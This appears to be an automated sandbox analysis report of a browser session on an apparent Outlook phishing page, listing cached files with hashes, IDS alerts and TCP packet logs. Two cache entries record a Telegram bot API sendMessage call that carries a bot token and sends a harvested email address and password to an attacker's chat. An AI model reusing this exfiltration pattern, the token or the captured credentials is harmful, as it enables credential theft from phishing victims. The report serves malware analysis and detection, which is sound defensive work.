URL:	https://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=f65ecb70-094d-0b11-7c9d-7da1bcadfaa7
Preview:	var jsllConfig={useDefaultContentName:!0,syncMuid:!0,authMethod:AUTHMETHOD,isLoggedIn:ISLOGGEDIN===undefined\|\|ISLOGGEDIN!=="True"?!1:!0,muidDomain:MUIDDOMAIN\|\|"microsoft.com",useShortNameForContentBlob:!1,autoCapture:{pageView:!0,onLoad:!0,onUnload:!0,click:!0,scroll:!0,resize:!0,lineage:!0,jsError:!0,addin:!0,perf:!0},coreData:{appId:JSLLAPPID,market:LOCALE,pageName:PAGENAME,pageType:PAYLOADTYPE,referrerUri:document.referrer,requestUri:window.location.href},callback:{pageName:PAGENAME}};awa.init(jsllConfig)

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.04431607909796
Encrypted:	false
SSDEEP:	12:YKOHu/PRfwU21vpHOa3tlOWEbPisAPICP22j8iHA:YKOHgfwDvpOazOWSPTAPICP2JuA
MD5:	08690A4751119725E45EB4A9661EE2CD
SHA1:	E840C6010383C30D6206916EC4DBA6158E5E9A35
SHA-256:	DCEADAC6EE1CD2F9A9628847C625337D40F5B6A043F9689534BED76847F9A777
SHA-512:	D63ACE6E2C154887CF8788465E9AEDECB44C2DCDBB3633F08BC60D471E7C75BECB027CE0CBFDDF95286D1E6CC91053ABA5E49610766E7AF5A33727CE10C5D696
Malicious:	false
Reputation:	low
Preview:	{"ok":true,"result":{"message_id":48,"from":{"id":7790808498,"is_bot":true,"first_name":"don","username":"donRsltFree_bot"},"chat":{"id":7332838769,"first_name":"Black","username":"blackOffbotn","type":"private"},"date":1741859337,"text":"\ud83d\udcc5 Outlook :\n\n\ud83d\udc64 Utilisateur : mjn1bs@bedyif.org\n\ud83d\udd10 Mot de passe : daE,8+TqzP","entities":[{"offset":31,"length":17,"type":"email"}]}}

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	406
Entropy (8bit):	5.047332892845989
Encrypted:	false
SSDEEP:	12:YKOHu/PCfwU21vpHOa3tlOWEoPisAPICP22j8iHA:YKOHTfwDvpOazOWBPTAPICP2JuA
MD5:	FCBE6A9A64282FA922CC78679A360C95
SHA1:	2FEF18A17EBEEC514ACF00782989897374074065
SHA-256:	CB28C8B2AC9CBA1B982583270D7BE037FF96A4F3D526A026CA971F7A2ED071CC
SHA-512:	F5D8B76C310C43F77E6640E87918053EA10F0F805E81DCF1F03674021A93726DE5F069E89862B9B225C44E0F3C275FB95E0035FA93CCCFC87A779B788EC7ED61
Malicious:	false
Reputation:	low
URL:	https://api.telegram.org/bot7790808498:AAGzrnUuQzRYR2OIyz6GoKrqiVuOP12IE1Q/sendMessage?chat_id=7332838769&text=%F0%9F%93%85%20Outlook%20%3A%0A%0A%F0%9F%91%A4%20Utilisateur%20%3A%20mjn1bs%40bedyif.org%0A%F0%9F%94%90%20Mot%20de%20passe%20%3A%20daE%2C8%2BTqzP
Preview:	{"ok":true,"result":{"message_id":47,"from":{"id":7790808498,"is_bot":true,"first_name":"don","username":"donRsltFree_bot"},"chat":{"id":7332838769,"first_name":"Black","username":"blackOffbotn","type":"private"},"date":1741859334,"text":"\ud83d\udcc5 Outlook :\n\n\ud83d\udc64 Utilisateur : mjn1bs@bedyif.org\n\ud83d\udd10 Mot de passe : daE,8+TqzP","entities":[{"offset":31,"length":17,"type":"email"}]}}

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-13T10:48:54.991161+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.5	49737	149.154.167.220	443	TCP
2025-03-13T10:48:57.654111+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.5	49740	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 10:48:06.061619997 CET	49676	443	192.168.2.5	20.189.173.14
Mar 13, 2025 10:48:10.874130011 CET	49676	443	192.168.2.5	20.189.173.14
Mar 13, 2025 10:48:12.108489037 CET	49672	443	192.168.2.5	204.79.197.203
Mar 13, 2025 10:48:20.483778954 CET	49676	443	192.168.2.5	20.189.173.14
Mar 13, 2025 10:48:21.915025949 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:21.915067911 CET	443	49722	142.250.185.100	192.168.2.5
Mar 13, 2025 10:48:21.915277958 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:21.915585995 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:21.915606022 CET	443	49722	142.250.185.100	192.168.2.5
Mar 13, 2025 10:48:23.580501080 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:23.580545902 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:23.580668926 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:23.580960035 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:23.581000090 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:23.581228018 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:23.581619978 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:23.581634045 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:23.582165956 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:23.582184076 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:23.925214052 CET	443	49722	142.250.185.100	192.168.2.5
Mar 13, 2025 10:48:23.925873041 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:23.925885916 CET	443	49722	142.250.185.100	192.168.2.5
Mar 13, 2025 10:48:23.926922083 CET	443	49722	142.250.185.100	192.168.2.5
Mar 13, 2025 10:48:23.927006006 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:23.928219080 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:23.928281069 CET	443	49722	142.250.185.100	192.168.2.5
Mar 13, 2025 10:48:23.971800089 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:23.971822977 CET	443	49722	142.250.185.100	192.168.2.5
Mar 13, 2025 10:48:24.018131018 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:25.521429062 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.521774054 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.521796942 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.522433043 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.522618055 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.522638083 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.523310900 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.523371935 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.523705959 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.523770094 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.524555922 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.524631977 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.524739981 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.524820089 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.524988890 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.525000095 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.566699982 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.566721916 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.566723108 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:25.609148979 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:25.757241011 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:25.804325104 CET	443	49722	142.250.185.100	192.168.2.5
Mar 13, 2025 10:48:26.041681051 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:26.041704893 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:26.041712999 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:26.041768074 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:26.041773081 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:26.041848898 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:26.042787075 CET	49723	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:26.042810917 CET	443	49723	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:26.059170008 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:26.059267998 CET	443	49722	142.250.185.100	192.168.2.5
Mar 13, 2025 10:48:26.059381962 CET	49722	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:48:30.074995995 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:30.120323896 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:30.476996899 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:30.477029085 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:30.477041960 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:30.477062941 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:30.477119923 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:30.477139950 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:30.477154016 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:30.477155924 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:30.477210999 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:30.766428947 CET	49724	443	192.168.2.5	138.197.235.123
Mar 13, 2025 10:48:30.766459942 CET	443	49724	138.197.235.123	192.168.2.5
Mar 13, 2025 10:48:52.401839972 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:52.401880026 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:52.401983976 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:52.402416945 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:52.402431965 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:54.343281984 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:54.343627930 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:54.343636990 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:54.344686031 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:54.344750881 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:54.350820065 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:54.350874901 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:54.351124048 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:54.351130009 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:54.400053978 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:54.991174936 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:54.999797106 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:54.999866009 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:55.021755934 CET	49737	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:55.021775961 CET	443	49737	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:55.049591064 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:55.049613953 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:55.049770117 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:55.050122023 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:55.050131083 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:56.981518030 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:56.981811047 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:56.981837034 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:56.982904911 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:56.982995987 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:56.983371019 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:56.983428001 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:56.983628988 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:56.983638048 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:57.031650066 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:57.654131889 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:57.654205084 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:57.654273033 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:57.656095982 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:48:57.656132936 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:48:57.656207085 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:48:57.657757044 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:48:57.657783031 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:48:57.658544064 CET	49740	443	192.168.2.5	149.154.167.220
Mar 13, 2025 10:48:57.658565998 CET	443	49740	149.154.167.220	192.168.2.5
Mar 13, 2025 10:48:57.659137011 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:48:57.659185886 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:48:57.659245014 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:48:57.659786940 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:48:57.659822941 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:48:57.878177881 CET	80	49690	217.20.57.18	192.168.2.5
Mar 13, 2025 10:48:57.878304958 CET	49690	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:57.878357887 CET	49690	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:57.883001089 CET	80	49690	217.20.57.18	192.168.2.5
Mar 13, 2025 10:48:58.048405886 CET	80	49691	217.20.57.18	192.168.2.5
Mar 13, 2025 10:48:58.049346924 CET	49691	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:58.051027060 CET	80	49692	217.20.57.18	192.168.2.5
Mar 13, 2025 10:48:58.051683903 CET	49692	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:58.287621021 CET	49691	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:58.287782907 CET	49692	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:58.292495966 CET	80	49691	217.20.57.18	192.168.2.5
Mar 13, 2025 10:48:58.293010950 CET	80	49692	217.20.57.18	192.168.2.5
Mar 13, 2025 10:48:58.297565937 CET	80	49694	217.20.57.18	192.168.2.5
Mar 13, 2025 10:48:58.298084021 CET	49694	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:58.299412012 CET	49694	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:58.304074049 CET	80	49694	217.20.57.18	192.168.2.5
Mar 13, 2025 10:48:59.714317083 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:48:59.714626074 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:48:59.714638948 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:48:59.715711117 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:48:59.715766907 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:48:59.717015028 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:48:59.717103958 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:48:59.717210054 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:48:59.760314941 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:48:59.760329008 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:48:59.803041935 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:48:59.877528906 CET	80	49699	217.20.57.18	192.168.2.5
Mar 13, 2025 10:48:59.877650023 CET	49699	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:59.877700090 CET	49699	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:48:59.882420063 CET	80	49699	217.20.57.18	192.168.2.5
Mar 13, 2025 10:49:00.000526905 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.000926971 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.000951052 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.001985073 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.002051115 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.003130913 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.003196001 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.003415108 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.003423929 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.048363924 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.329838991 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.329863071 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.329873085 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.329900980 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.329915047 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.329919100 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.329926014 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.329946995 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.330004930 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.330004930 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.407780886 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.407845020 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.407851934 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.407871008 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.407895088 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.407912016 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.437057972 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.437122107 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.437161922 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.437180042 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.437220097 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.472665071 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.472690105 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.472701073 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.472759962 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.472765923 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.472810984 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.472830057 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.472841024 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.472848892 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.472872019 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.484113932 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.484138966 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.484174013 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.484186888 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.484222889 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.500384092 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.500411034 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.500452042 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.500468016 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.500497103 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.519936085 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.520025969 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.520026922 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.520044088 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.520071983 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.520153046 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.520205021 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.532614946 CET	49742	443	192.168.2.5	2.16.202.84
Mar 13, 2025 10:49:00.532640934 CET	443	49742	2.16.202.84	192.168.2.5
Mar 13, 2025 10:49:00.539908886 CET	443	49743	23.192.243.7	192.168.2.5
